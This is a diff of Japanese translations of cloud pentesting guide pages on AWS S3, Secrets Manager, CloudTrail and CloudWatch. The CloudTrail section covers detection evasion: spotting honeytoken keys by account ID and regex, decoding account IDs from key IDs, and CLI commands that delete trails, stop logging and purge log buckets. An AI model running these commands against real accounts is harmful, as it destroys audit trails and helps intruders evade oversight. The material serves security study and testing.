@@ -84,7 +84,7 @@ ExpiresIn=3600 顧客提供キーによるサーバーサイド暗号化、SSE-C -このオプションでは、AWSの外部で既に使用している可能性のある独自のマスターキーを提供する機会が与えられます。顧客提供キーは、データと共にS3に送信され、S3が暗号化を実行します。 +このオプションでは、AWSの外部で既に使用している可能性のある独自のマスターキーを提供する機会が与えられます。顧客提供キーは、データと共にS3に送信され、S3があなたのために暗号化を実行します。 - 暗号化: - ユーザーがオブジェクトデータ + 顧客キーをS3に送信 @@ -120,7 +120,7 @@ SSE-KMSと同様に、これもキー管理サービスを使用してデータ 顧客提供キーによるクライアントサイド暗号化、CSE-C -このメカニズムを使用すると、独自に提供されたキーを利用し、AWS-SDKクライアントを使用してデータを暗号化してからS3に送信して保存できます。 +このメカニズムを使用すると、独自の提供されたキーを利用し、AWS-SDKクライアントを使用してデータを暗号化してからS3に送信して保存できます。 - 暗号化: - クライアントがDEKを生成し、平文データを暗号化 @@ -229,7 +229,7 @@ aws s3api put-object-acl --bucket --key flag --access-control-poli ``` ### dual-stack -S3バケットには、仮想ホストスタイルまたはパススタイルのエンドポイント名を使用して、デュアルスタックエンドポイントを介してアクセスできます。これにより、IPv6を介してS3にアクセスすることができます。 +S3バケットには、仮想ホストスタイルまたはパススタイルのエンドポイント名を使用して、デュアルスタックエンドポイントを介してアクセスできます。これは、IPv6を介してS3にアクセスするのに便利です。 デュアルスタックエンドポイントは、以下の構文を使用します: @@ -266,17 +266,17 @@ S3バケットには、仮想ホストスタイルまたはパススタイルの ### S3 HTTP Cache Poisoning Issue -[**この研究によると**](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies#heading-s3-http-desync-cache-poisoning-issue)、任意のバケットの応答を異なるバケットのようにキャッシュすることが可能でした。これを悪用して、例えばJavaScriptファイルの応答を変更し、S3を使用して静的コードを保存している任意のページを危険にさらすことができました。 +[**この研究によると**](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies#heading-s3-http-desync-cache-poisoning-issue)、任意のバケットの応答を異なるバケットのようにキャッシュすることが可能でした。これを悪用して、例えばJavaScriptファイルの応答を変更し、S3を使用して静的コードを保存する任意のページを危険にさらすことができました。 ## Amazon Athena -Amazon Athenaは、標準の**SQL**を使用してAmazon Simple Storage Service(Amazon **S3**)内のデータを直接**分析する**ためのインタラクティブなクエリサービスです。 +Amazon Athenaは、標準の**SQL**を使用してAmazon Simple Storage Service(Amazon **S3**)内のデータを直接**分析する**のを容易にするインタラクティブなクエリサービスです。 監視対象のS3バケットに表示されるコンテンツの形式で**リレーショナルDBテーブルを準備する**必要があります。その後、Amazon AthenaはログからDBをポピュレートできるため、クエリを実行できます。 Amazon Athenaは、**すでに暗号化されたS3データをクエリする能力をサポートしており**、設定されている場合、**Athenaはクエリの結果を暗号化し、それをS3に保存することもできます**。 -**この結果の暗号化は、基盤となるクエリされたS3データとは独立しています**。つまり、S3データが暗号化されていなくても、クエリされた結果は暗号化できます。注意すべき点は、Amazon Athenaは**以下のS3暗号化方式**、**SSE-S3、SSE-KMS、およびCSE-KMS**で**暗号化されたデータ**のみをサポートすることです。 +**この結果の暗号化は、基盤となるクエリされたS3データとは独立しています**。つまり、S3データが暗号化されていなくても、クエリされた結果は暗号化できます。注意すべき点は、Amazon Athenaは**次のS3暗号化方式**、**SSE-S3、SSE-KMS、およびCSE-KMS**で**暗号化されたデータ**のみをサポートすることです。 SSE-CおよびCSE-Eはサポートされていません。さらに、Amazon Athenaは**クエリ自体と同じリージョンにある暗号化されたオブジェクトに対してのみクエリを実行する**ことを理解することが重要です。KMSを使用して暗号化されたS3データをクエリする必要がある場合、Athenaユーザーがクエリを実行できるようにするために特定の権限が必要です。 diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-secrets-manager-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-secrets-manager-enum.md index 06d11cb3c..02b0664ec 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-secrets-manager-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-secrets-manager-enum.md @@ -4,17 +4,17 @@ ## AWS Secrets Manager -AWS Secrets Managerは、**アプリケーション内のハードコーディングされた秘密の使用を排除するためにAPI呼び出しに置き換えるように設計されています**。このサービスは、**すべての秘密のための中央リポジトリとして機能し**、すべてのアプリケーションで均一に管理されることを保証します。 +AWS Secrets Managerは、**アプリケーション内のハードコーディングされた秘密の使用を排除し、API呼び出しに置き換えることを目的としています**。このサービスは、**すべての秘密のための中央リポジトリとして機能し**、すべてのアプリケーションで均一に管理されることを保証します。 -マネージャーは、**秘密のローテーションプロセスを簡素化し**、データベースの資格情報などの機密データのセキュリティ姿勢を大幅に向上させます。さらに、APIキーなどの秘密は、ラムダ関数の統合により自動的にローテーションできます。 +マネージャーは、**秘密のローテーションプロセスを簡素化し**、データベースの資格情報などの機密データのセキュリティ姿勢を大幅に向上させます。さらに、APIキーなどの秘密は、lambda関数の統合により自動的にローテーションできます。 秘密へのアクセスは、詳細なIAMアイデンティティベースのポリシーとリソースベースのポリシーを通じて厳密に制御されています。 異なるAWSアカウントのユーザーに秘密へのアクセスを付与するには、次の必要があります: -1. ユーザーに秘密へのアクセスを許可します。 -2. KMSを使用して秘密を復号化するための権限をユーザーに付与します。 -3. 外部ユーザーが利用できるようにキーのポリシーを変更します。 +1. ユーザーに秘密へのアクセスを許可する。 +2. KMSを使用して秘密を復号化するための権限をユーザーに付与する。 +3. 外部ユーザーが利用できるようにキーのポリシーを変更する。 **AWS Secrets Managerは、AWS KMSと統合してAWS Secrets Manager内で秘密を暗号化します。** @@ -27,7 +27,7 @@ aws secretsmanager get-secret-value --secret-id # Get value aws secretsmanager get-secret-value --secret-id --version-id # Get value of a different version aws secretsmanager get-resource-policy --secret-id --secret-id ``` -### プリベスカレーション +### プリベスカ {{#ref}} ../aws-privilege-escalation/aws-secrets-manager-privesc.md @@ -39,7 +39,7 @@ aws secretsmanager get-resource-policy --secret-id --secret-id ../aws-post-exploitation/aws-secrets-manager-post-exploitation.md {{#endref}} -### 永続性 +### パーシステンス {{#ref}} ../aws-persistence/aws-secrets-manager-persistence.md diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md index 4126b89ba..ef0b4ff7d 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md @@ -4,7 +4,7 @@ ## **CloudTrail** -AWS CloudTrail **は、AWS環境内の活動を記録および監視します**。それは、誰が何を、いつ、どこから行ったかを含む詳細な**イベントログ**をキャプチャします。これにより、変更やアクションの監査証跡が提供され、セキュリティ分析、コンプライアンス監査、およびリソース変更の追跡に役立ちます。CloudTrailは、ユーザーおよびリソースの動作を理解し、セキュリティ姿勢を強化し、規制遵守を確保するために不可欠です。 +AWS CloudTrail **は、AWS環境内の活動を記録および監視します**。それは、誰が何を、いつ、どこから行ったかを含む詳細な**イベントログ**をキャプチャします。これにより、変更やアクションの監査証跡が提供され、セキュリティ分析、コンプライアンス監査、およびリソース変更の追跡に役立ちます。CloudTrailは、ユーザーとリソースの動作を理解し、セキュリティ姿勢を強化し、規制遵守を確保するために不可欠です。 各ログされたイベントには以下が含まれます: @@ -13,15 +13,15 @@ AWS CloudTrail **は、AWS環境内の活動を記録および監視します** - 時間: `eventTime` - IPアドレス: `SourceIPAddress` - エージェントメソッド: `userAgent`。例: -- Signing.amazonaws.com - AWS Management Consoleから -- console.amazonaws.com - アカウントのルートユーザー -- lambda.amazonaws.com - AWS Lambda + - Signing.amazonaws.com - AWS Management Consoleから + - console.amazonaws.com - アカウントのルートユーザー + - lambda.amazonaws.com - AWS Lambda - リクエストパラメータ: `requestParameters` - レスポンス要素: `responseElements` イベントは**約5分ごとにJSONファイルに新しいログファイルとして書き込まれ**、CloudTrailによって保持され、最終的にログファイルは**約15分後にS3に配信されます**。\ -CloudTrailのログは**アカウント間およびリージョン間で集約できます。**\ -CloudTrailは、**ログファイルの整合性を使用して、CloudTrailがあなたに配信して以来、ログファイルが変更されていないことを確認できるようにします**。それは、ダイジェストファイル内のログのSHA-256ハッシュを作成します。新しいログのsha-256ハッシュは毎時作成されます。\ +CloudTrailのログは**アカウント間およびリージョン間で集約できます**。\ +CloudTrailは**ログファイルの整合性を使用して、CloudTrailがあなたに配信して以来、ログファイルが変更されていないことを確認できるようにします**。それは、ダイジェストファイル内のログのSHA-256ハッシュを作成します。新しいログのsha-256ハッシュは毎時作成されます。\ トレイルを作成する際、イベントセレクターを使用して、ログするトレイルを示すことができます:管理、データ、またはインサイトイベント。 ログはS3バケットに保存されます。デフォルトではサーバーサイド暗号化(SSE-S3)が使用されるため、AWSはアクセス権を持つ人々のためにコンテンツを復号化しますが、追加のセキュリティのためにSSEをKMSおよび独自のキーと共に使用することができます。 @@ -38,15 +38,15 @@ CloudTrailは、**ログファイルの整合性を使用して、CloudTrailが ![](<../../../../images/image (122).png>) -さらに、**ファイル整合性を確認するためのダイジェストファイル**は、**同じバケット内に**あります: +さらに、**ファイル整合性を確認するためのダイジェストファイル**は**同じバケット内に**あります: ![](<../../../../images/image (195).png>) ### 複数アカウントからのログの集約 -- ログファイルを配信するAWSアカウントでトレイルを作成します +- ログファイルを配信するAWSアカウントにトレイルを作成します - CloudTrailのためにクロスアカウントアクセスを許可するように、宛先S3バケットに権限を適用し、アクセスが必要な各AWSアカウントを許可します -- 他のAWSアカウントで新しいトレイルを作成し、ステップ1で作成したバケットを使用するように選択します +- 他のAWSアカウントに新しいトレイルを作成し、ステップ1で作成したバケットを使用するように選択します ただし、すべてのログを同じS3バケットに保存できるとしても、複数のアカウントからのCloudTrailログを単一のAWSアカウントに属するCloudWatch Logsに集約することはできません。 @@ -59,7 +59,7 @@ CloudTrailを作成する際、組織内のすべてのアカウントに対し
-このようにして、すべてのアカウントのすべてのリージョンでCloudTrailを簡単に構成し、1つのアカウントにログを集中させることができます(そのアカウントは保護する必要があります)。 +この方法で、すべてのアカウントのすべてのリージョンでCloudTrailを簡単に構成し、1つのアカウントにログを集中させることができます(そのアカウントは保護する必要があります)。 ### ログファイルの確認 @@ -83,20 +83,20 @@ CloudTrail Event Historyでは、記録されたログをテーブルで検査 ### Insights -**CloudTrail Insights**は自動的に**管理イベントの書き込みを分析**し、**異常な活動**を**警告**します。たとえば、`TerminateInstance`イベントの増加が確立されたベースラインと異なる場合、それはInsightイベントとして表示されます。これらのイベントは、**異常なAPI活動を見つけて対応することをこれまで以上に容易にします**。 +**CloudTrail Insights**は自動的に**管理イベントを分析**し、**異常な活動**を**警告**します。例えば、`TerminateInstance`イベントの増加が確立されたベースラインと異なる場合、それはInsightイベントとして表示されます。これらのイベントは、**異常なAPI活動を見つけて対応することをこれまで以上に容易にします**。 インサイトはCloudTrailログと同じバケットに保存されます:`BucketName/AWSLogs/AccountID/CloudTrail-Insight` ### Security -| CloudTrail Log File Integrity |
  • ログが改ざんされていないか(変更または削除)を検証
  • ダイジェストファイルを使用(各ファイルのハッシュを作成)

    • SHA-256ハッシュ
    • デジタル署名のためのSHA-256とRSA
    • Amazonが所有する秘密鍵
  • ダイジェストファイルの作成に1時間かかる(毎時行われる)
| +| CloudTrail Log File Integrity |
  • ログが改ざんされていないか検証する(変更または削除されたか)
  • ダイジェストファイルを使用する(各ファイルのハッシュを作成)

    • SHA-256ハッシュ
    • デジタル署名のためのSHA-256とRSA
    • Amazonが所有する秘密鍵
  • ダイジェストファイルを作成するのに1時間かかる(毎時行われる)
| | ------------------------------------ | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | -| Stop unauthorized access |
  • IAMポリシーとS3バケットポリシーを使用

    • セキュリティチーム —> 管理者アクセス
    • 監査人 —> 読み取り専用アクセス
  • SSE-S3/SSE-KMSを使用してログを暗号化
| -| Prevent log files from being deleted |
  • IAMおよびバケットポリシーで削除アクセスを制限
  • S3 MFA削除を構成
  • ログファイル検証で検証
| +| Stop unauthorized access |
  • IAMポリシーとS3バケットポリシーを使用する

    • セキュリティチーム —> 管理者アクセス
    • 監査人 —> 読み取り専用アクセス
  • ログを暗号化するためにSSE-S3/SSE-KMSを使用する
| +| Prevent log files from being deleted |
  • IAMとバケットポリシーで削除アクセスを制限する
  • S3 MFA削除を構成する
  • ログファイル検証で検証する
| ## Access Advisor -AWS Access Advisorは、過去400日間のAWS **CloudTrailログを利用してインサイトを収集します**。CloudTrailは、AWSアカウント内で行われたAWS APIコールと関連イベントの履歴をキャプチャします。Access Advisorはこのデータを利用して、**サービスが最後にアクセスされた時期を表示します**。CloudTrailログを分析することで、Access AdvisorはIAMユーザーまたはロールがどのAWSサービスにアクセスしたか、そしてそのアクセスがいつ行われたかを特定できます。これにより、AWS管理者は**権限の精緻化**に関する情報に基づいた意思決定を行うことができ、長期間アクセスされていないサービスを特定し、実際の使用パターンに基づいて過度に広範な権限を削減することができます。 +AWS Access Advisorは、最後の400日間のAWS **CloudTrailログを利用してインサイトを収集します**。CloudTrailは、AWSアカウント内で行われたAWS APIコールと関連イベントの履歴をキャプチャします。Access Advisorはこのデータを利用して**サービスが最後にアクセスされた時期を表示します**。CloudTrailログを分析することで、Access AdvisorはIAMユーザーまたはロールがどのAWSサービスにアクセスしたか、そしてそのアクセスがいつ行われたかを特定できます。これにより、AWS管理者は**権限の洗練**に関する情報に基づいた意思決定を行うことができ、長期間アクセスされていないサービスを特定し、実際の使用パターンに基づいて過度に広範な権限を削減することができます。 > [!TIP] > したがって、Access Advisorは**ユーザーに与えられている不必要な権限について通知し**、管理者がそれらを削除できるようにします @@ -136,33 +136,33 @@ S3BucketName="random" ) print(response) ``` -For more information about CSV Injections check the page: +CSVインジェクションに関する詳細は、次のページを確認してください: {{#ref}} https://book.hacktricks.xyz/pentesting-web/formula-injection {{#endref}} -For more information about this specific technique check [https://rhinosecuritylabs.com/aws/cloud-security-csv-injection-aws-cloudtrail/](https://rhinosecuritylabs.com/aws/cloud-security-csv-injection-aws-cloudtrail/) +この特定の技術に関する詳細は、[https://rhinosecuritylabs.com/aws/cloud-security-csv-injection-aws-cloudtrail/](https://rhinosecuritylabs.com/aws/cloud-security-csv-injection-aws-cloudtrail/)を確認してください。 -## **検出のバイパス** +## **検出の回避** -### HoneyTokens **バイパス** +### HoneyTokens **回避** -Honeytokensは**機密情報の流出を検出するために作成されます**。AWSの場合、これらは**使用が監視されているAWSキー**です。そのキーでアクションがトリガーされると、誰かがそのキーを盗んだことになります。 +Honeytokensは、**機密情報の流出を検出するために作成されます**。AWSの場合、これらは**使用が監視されるAWSキー**です。そのキーでアクションがトリガーされると、誰かがそのキーを盗んだことになります。 しかし、[**Canarytokens**](https://canarytokens.org/generate)**、** [**SpaceCrab**](https://bitbucket.org/asecurityteam/spacecrab/issues?status=new&status=open)**、** [**SpaceSiren**](https://github.com/spacesiren/spacesiren)によって作成されたHoneytokensは、認識可能なアカウント名を使用するか、すべての顧客に対して同じAWSアカウントIDを使用しています。したがって、Cloudtrailにログを作成させることなくアカウント名やアカウントIDを取得できれば、**そのキーがHoneytokenかどうかを知ることができます**。 -[**Pacu**](https://github.com/RhinoSecurityLabs/pacu/blob/79cd7d58f7bff5693c6ae73b30a8455df6136cca/pacu/modules/iam__detect_honeytokens/main.py#L57)には、キーが[**Canarytokens**](https://canarytokens.org/generate)**、** [**SpaceCrab**](https://bitbucket.org/asecurityteam/spacecrab/issues?status=new&status=open)**、** [**SpaceSiren**](https://github.com/spacesiren/spacesiren)**に属しているかを検出するためのいくつかのルールがあります:** +[**Pacu**](https://github.com/RhinoSecurityLabs/pacu/blob/79cd7d58f7bff5693c6ae73b30a8455df6136cca/pacu/modules/iam__detect_honeytokens/main.py#L57)には、キーが[**Canarytokens**](https://canarytokens.org/generate)**、** [**SpaceCrab**](https://bitbucket.org/asecurityteam/spacecrab/issues?status=new&status=open)**、** [**SpaceSiren**](https://github.com/spacesiren/spacesiren)**に属するかどうかを検出するためのいくつかのルールがあります:** - **`canarytokens.org`**がロール名に表示されるか、エラーメッセージにアカウントID **`534261010715`**が表示される場合。 -- 最近テストしたところ、彼らはアカウント**`717712589309`**を使用しており、名前に**`canarytokens.com`**の文字列がまだ含まれています。 +- 最近テストしたところ、アカウント**`717712589309`**を使用しており、名前に**`canarytokens.com`**の文字列がまだ含まれています。 - エラーメッセージのロール名に**`SpaceCrab`**が表示される場合。 -- **SpaceSiren**はユーザー名を生成するために**uuids**を使用します:`[a-f0-9]{8}-[a-f0-9]{4}-4[a-f0-9]{3}-[89aAbB][a-f0-9]{3}-[a-f0-9]{12}` +- **SpaceSiren**は、ユーザー名を生成するために**uuids**を使用します:`[a-f0-9]{8}-[a-f0-9]{4}-4[a-f0-9]{3}-[89aAbB][a-f0-9]{3}-[a-f0-9]{12}` - **名前がランダムに生成されたように見える場合**、それがHoneyTokenである可能性が高いです。 #### キーIDからアカウントIDを取得する -**アクセスキー**内の**エンコードされた**情報から**アカウントID**を取得でき、[**ここで説明されているように**](https://medium.com/@TalBeerySec/a-short-note-on-aws-key-id-f88cc4317489)そのアカウントIDをHoneytokens AWSアカウントのリストと照合できます: +**アクセスキー**内に**エンコードされた**アカウントIDを取得することができ、[**ここで説明されているように**](https://medium.com/@TalBeerySec/a-short-note-on-aws-key-id-f88cc4317489)Honeytokens AWSアカウントのリストとアカウントIDを確認してください: ```python import base64 import binascii @@ -181,34 +181,34 @@ return (e) print("account id:" + "{:012d}".format(AWSAccount_from_AWSKeyID("ASIAQNZGKIQY56JQ7WML"))) ``` -Check more information in the [**orginal research**](https://medium.com/@TalBeerySec/a-short-note-on-aws-key-id-f88cc4317489). +[**元の研究**](https://medium.com/@TalBeerySec/a-short-note-on-aws-key-id-f88cc4317489)で詳細を確認してください。 #### ログを生成しない -これに対する最も効果的な手法は実際にはシンプルです。見つけたキーを使って、自分の攻撃者アカウント内のサービスにアクセスします。これにより、**CloudTrailはあなた自身のAWSアカウント内にログを生成し、被害者のアカウント内には生成しません**。 +このための最も効果的な手法は実際にはシンプルです。見つけたキーを使用して、自分の攻撃者アカウント内のサービスにアクセスします。これにより、**CloudTrailはあなた自身のAWSアカウント内にログを生成し、被害者のアカウント内には生成しません**。 -出力には、アカウントIDとアカウント名を示すエラーが表示されるため、**それがハニートークンであるかどうかを確認できます**。 +問題は、出力にアカウントIDとアカウント名を示すエラーが表示されるため、**それがハニートークンであるかどうかを確認できることです**。 #### ログなしのAWSサービス -過去には、**CloudTrailにログを送信しないAWSサービスがいくつかありました**([ここにリストがあります](https://docs.aws.amazon.com/awscloudtrail/latest/userguide/cloudtrail-unsupported-aws-services.html))。これらのサービスのいくつかは、無許可の者(ハニートークンキー)がアクセスしようとすると、**キー役割のARNを含む**エラーで**応答**します。 +過去には、**CloudTrailにログを送信しないAWSサービスがいくつかありました**([ここにリストがあります](https://docs.aws.amazon.com/awscloudtrail/latest/userguide/cloudtrail-unsupported-aws-services.html))。これらのサービスのいくつかは、無許可の者(ハニートークンキー)がアクセスしようとすると、**キー役割のARNを含むエラー**で**応答**します。 -この方法で、**攻撃者はログをトリガーせずにキーのARNを取得できます**。ARNには、攻撃者が**AWSアカウントIDと名前**を見ることができ、ハニートークンの企業アカウントIDと名前を知るのは簡単です。これにより、攻撃者はトークンがハニートークンであるかどうかを特定できます。 +この方法で、**攻撃者はログをトリガーすることなくキーのARNを取得できます**。ARN内で攻撃者は**AWSアカウントIDと名前**を見ることができ、ハニートークンの企業アカウントIDと名前を知るのは簡単です。これにより、攻撃者はトークンがハニートークンであるかどうかを特定できます。 ![](<../../../../images/image (93).png>) > [!CAUTION] -> CloudTrailログを生成しないことが発見されたすべての公開APIは現在修正されているため、独自に見つける必要があるかもしれません... +> CloudTrailログを生成しないことが発見されたすべての公開APIは現在修正されているため、自分で見つける必要があるかもしれません... > -> 詳細については、[**original research**](https://rhinosecuritylabs.com/aws/aws-iam-enumeration-2-0-bypassing-cloudtrail-logging/)を確認してください。 +> 詳細については、[**元の研究**](https://rhinosecuritylabs.com/aws/aws-iam-enumeration-2-0-bypassing-cloudtrail-logging/)を確認してください。 ### 第三者インフラへのアクセス -特定のAWSサービスは、**データベース**や**Kubernetes**クラスター(EKS)などの**インフラを生成します**。ユーザーがこれらのサービス(Kubernetes APIなど)に直接話しかける場合、**AWS APIを使用しないため**、CloudTrailはこの通信を確認できません。 +特定のAWSサービスは、**データベース**や**Kubernetes**クラスター(EKS)などの**インフラを生成します**。ユーザーがこれらのサービス(Kubernetes APIなど)に**直接話しかける**場合、**AWS APIを使用しないため**、CloudTrailはこの通信を確認できません。 したがって、EKSにアクセスできるユーザーがEKS APIのURLを発見した場合、ローカルでトークンを生成し、**CloudTrailに検出されることなくAPIサービスに直接話しかけることができます**。 -詳細は以下を参照してください: +詳細は以下にあります: {{#ref}} ../../aws-post-exploitation/aws-eks-post-exploitation.md @@ -224,7 +224,7 @@ aws cloudtrail delete-trail --name [trail-name] ```bash aws cloudtrail stop-logging --name [trail-name] ``` -#### マルチリージョンログ記録を無効にする +#### マルチリージョンログを無効にする ```bash aws cloudtrail update-trail --name [trail-name] --no-is-multi-region --no-include-global-services ``` @@ -236,7 +236,7 @@ aws cloudtrail put-event-selectors --trail-name --event-selectors ' # Remove all selectors (stop Insights) aws cloudtrail put-event-selectors --trail-name --event-selectors '[]' --region ``` -最初の例では、単一のイベントセレクターが単一のオブジェクトを持つJSON配列として提供されます。`"ReadWriteType": "ReadOnly"`は、**イベントセレクターが読み取り専用イベントのみをキャプチャするべきである**ことを示しています(したがって、CloudTrailのインサイトは**書き込み**イベントをチェックしません)。 +最初の例では、単一のイベントセレクターが単一のオブジェクトを持つJSON配列として提供されています。`"ReadWriteType": "ReadOnly"`は、**イベントセレクターが読み取り専用イベントのみをキャプチャするべきである**ことを示しています(したがって、CloudTrailのインサイトは**書き込み**イベントをチェックしません)。 特定の要件に基づいてイベントセレクターをカスタマイズできます。 @@ -251,7 +251,7 @@ aws s3api put-bucket-lifecycle --bucket --lifecycle-configuration - オブジェクトを削除するためにS3バケットにライフサイクルポリシーを追加する - CloudTrailログを暗号化するために使用されるKMSキーを無効にする -### Cloudtrailランサムウェア +### CloudTrailランサムウェア #### S3ランサムウェア diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudwatch-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudwatch-enum.md index 84a1e7255..2ad274f60 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudwatch-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudwatch-enum.md @@ -5,7 +5,7 @@ ## CloudWatch **CloudWatch** は、ログ/メトリクス/イベントの形で監視および運用 **データ** を収集し、**AWSリソース**、アプリケーション、サービスの **統一ビュー** を提供します。\ -CloudWatch Log Event には、**各ログ行のサイズ制限が256KB** あります。\ +CloudWatch Log Event には、**各ログ行のサイズ制限が256KB** があります。\ 高解像度アラームを設定し、**ログ** と **メトリクス** を並べて視覚化し、自動化されたアクションを実行し、問題をトラブルシュートし、アプリケーションを最適化するための洞察を発見できます。 例えば、CloudTrail のログを監視できます。監視されるイベント: @@ -13,7 +13,7 @@ CloudWatch Log Event には、**各ログ行のサイズ制限が256KB** あり - セキュリティグループおよび NACL の変更 - EC2 インスタンスの起動、停止、再起動、および終了 - IAM および S3 内のセキュリティポリシーの変更 -- AWS マネジメントコンソールへのログイン試行の失敗 +- AWS Management Console へのログイン試行の失敗 - 認証に失敗した API コール - CloudWatch での検索フィルター: [https://docs.aws.amazon.com/AmazonCloudWatch/latest/logs/FilterAndPatternSyntax.html](https://docs.aws.amazon.com/AmazonCloudWatch/latest/logs/FilterAndPatternSyntax.html) @@ -21,13 +21,13 @@ CloudWatch Log Event には、**各ログ行のサイズ制限が256KB** あり ### Namespaces -名前空間は、CloudWatch メトリクスのコンテナです。メトリクスを分類および分離するのに役立ち、管理および分析が容易になります。 +名前空間は、CloudWatch メトリクスのコンテナです。メトリクスを分類および分離するのに役立ち、管理および分析を容易にします。 - **例**: EC2 関連メトリクスのための AWS/EC2、RDS メトリクスのための AWS/RDS。 ### Metrics -メトリクスは、AWS リソースのパフォーマンスまたは利用状況を表す時間経過に伴って収集されたデータポイントです。メトリクスは、AWS サービス、カスタムアプリケーション、またはサードパーティの統合から収集できます。 +メトリクスは、時間の経過とともに収集されたデータポイントで、AWS リソースのパフォーマンスまたは利用状況を表します。メトリクスは、AWS サービス、カスタムアプリケーション、またはサードパーティの統合から収集できます。 - **例**: CPUUtilization、NetworkIn、DiskReadOps。 @@ -39,9 +39,9 @@ CloudWatch Log Event には、**各ログ行のサイズ制限が256KB** あり ### Statistics -統計は、メトリクスデータに対して行われる数学的計算で、時間経過に伴って要約します。一般的な統計には、平均、合計、最小、最大、サンプル数が含まれます。 +統計は、メトリクスデータに対して行われる数学的計算で、時間の経過に伴う要約を提供します。一般的な統計には、平均、合計、最小、最大、サンプル数が含まれます。 -- **例**: 1 時間の間に平均 CPU 利用率を計算する。 +- **例**: 1 時間の間の平均 CPU 利用率を計算する。 ### Units @@ -66,7 +66,7 @@ CloudWatch Log Event には、**各ログ行のサイズ制限が256KB** あり ### Metric Stream and Metric Data -AWS CloudWatch の **Metric Streams** は、CloudWatch メトリクスをほぼリアルタイムで選択した宛先に継続的にストリーミングすることを可能にします。これは、AWS の外部ツールを使用した高度な監視、分析、およびカスタムダッシュボードに特に便利です。 +AWS CloudWatch の **Metric Streams** は、CloudWatch メトリクスを選択した宛先にほぼリアルタイムで継続的にストリーミングすることを可能にします。これは、AWS の外部ツールを使用した高度な監視、分析、およびカスタムダッシュボードに特に便利です。 **Metric Streams 内のメトリクスデータ** は、ストリーミングされている実際の測定値またはデータポイントを指します。これらのデータポイントは、AWS リソースの CPU 利用率、メモリ使用量など、さまざまなメトリクスを表します。 @@ -77,14 +77,14 @@ AWS CloudWatch の **Metric Streams** は、CloudWatch メトリクスをほぼ ### Alarm -**CloudWatch Alarms** は、メトリクスを監視し、事前定義された閾値に基づいてアクションを実行します。メトリクスが閾値を超えると、アラームは SNS 経由で通知を送信したり、オートスケーリングポリシーをトリガーしたり、AWS Lambda 関数を実行したりするなど、1 つ以上のアクションを実行できます。 +**CloudWatch Alarms** は、メトリクスを監視し、事前に定義された閾値に基づいてアクションを実行します。メトリクスが閾値を超えると、アラームは SNS 経由で通知を送信したり、オートスケーリングポリシーをトリガーしたり、AWS Lambda 関数を実行したりするなど、1 つ以上のアクションを実行できます。 -**主なコンポーネント**: +**主要コンポーネント**: - **閾値**: アラームがトリガーされる値。 - **評価期間**: データが評価される期間の数。 -- **アラームのためのデータポイント**: アラームをトリガーするために必要な閾値に達した期間の数。 -- **アクション**: アラーム状態がトリガーされたときに何が起こるか(例:SNS 経由で通知)。 +- **アラームに必要なデータポイント**: アラームをトリガーするために到達した閾値のある期間の数。 +- **アクション**: アラーム状態がトリガーされたときに何が起こるか(例: SNS 経由で通知)。 **例の使用ケース**: @@ -94,7 +94,7 @@ AWS CloudWatch の **Metric Streams** は、CloudWatch メトリクスをほぼ **Anomaly Detectors** は、機械学習を使用してメトリクスの異常を自動的に検出します。異常検出を任意の CloudWatch メトリクスに適用して、問題を示す可能性のある通常のパターンからの逸脱を特定できます。 -**主なコンポーネント**: +**主要コンポーネント**: - **モデルのトレーニング**: CloudWatch は、過去のデータを使用してモデルをトレーニングし、正常な動作がどのようなものかを確立します。 - **異常検出バンド**: メトリクスの期待される値の範囲を視覚的に表現したもの。 @@ -105,37 +105,37 @@ AWS CloudWatch の **Metric Streams** は、CloudWatch メトリクスをほぼ ### Insight Rules and Managed Insight Rules -**Insight Rules** は、**強力な数学的表現** を使用してメトリクスデータ内のトレンド、スパイク、またはその他の興味深いパターンを特定することを可能にします。これらのルールは、リソースのパフォーマンスと利用状況における異常や異常な動作を特定するのに役立ちます。 +**Insight Rules** は、メトリクスデータ内のトレンドを特定し、スパイクやその他の興味深いパターンを検出するために、**強力な数学的表現**を使用してアクションを実行すべき条件を定義します。これらのルールは、リソースのパフォーマンスや利用状況における異常や異常な動作を特定するのに役立ちます。 **Managed Insight Rules** は、AWS によって提供される事前構成された **インサイトルール** です。特定の AWS サービスや一般的な使用ケースを監視するように設計されており、詳細な構成なしで有効にできます。 **例の使用ケース**: -- RDS パフォーマンスの監視: CPU 利用率、メモリ使用量、ディスク I/O などの主要なパフォーマンス指標を監視する Amazon RDS のための管理インサイトルールを有効にします。これらのメトリクスのいずれかが安全な運用閾値を超えた場合、ルールはアラートまたは自動的な緩和アクションをトリガーできます。 +- RDS パフォーマンスの監視: CPU 利用率、メモリ使用量、ディスク I/O などの主要なパフォーマンス指標を監視する Amazon RDS 用の管理インサイトルールを有効にします。これらのメトリクスのいずれかが安全な運用閾値を超えた場合、ルールはアラートや自動的な緩和アクションをトリガーできます。 ### CloudWatch Logs -アプリケーションおよびシステムからの **ログを集約および監視** することを可能にし、**AWSサービス**(CloudTrail を含む)および **アプリ/システム** からのログを集約します(**CloudWatch Agent** をホストにインストールできます)。ログは **無期限に保存** でき(ロググループの設定による)、エクスポートできます。 +アプリケーションやシステムからの **ログを集約および監視** することを可能にし、**AWSサービス**(CloudTrail を含む)や **アプリ/システム** からのログを集約します(**CloudWatch Agent** をホストにインストールできます)。ログは **無期限に保存** でき(ロググループの設定に依存)、エクスポートできます。 **要素**: | **ロググループ** | 同じ保持、監視、およびアクセス制御設定を共有する **ログストリームのコレクション** | | ------------------------ | 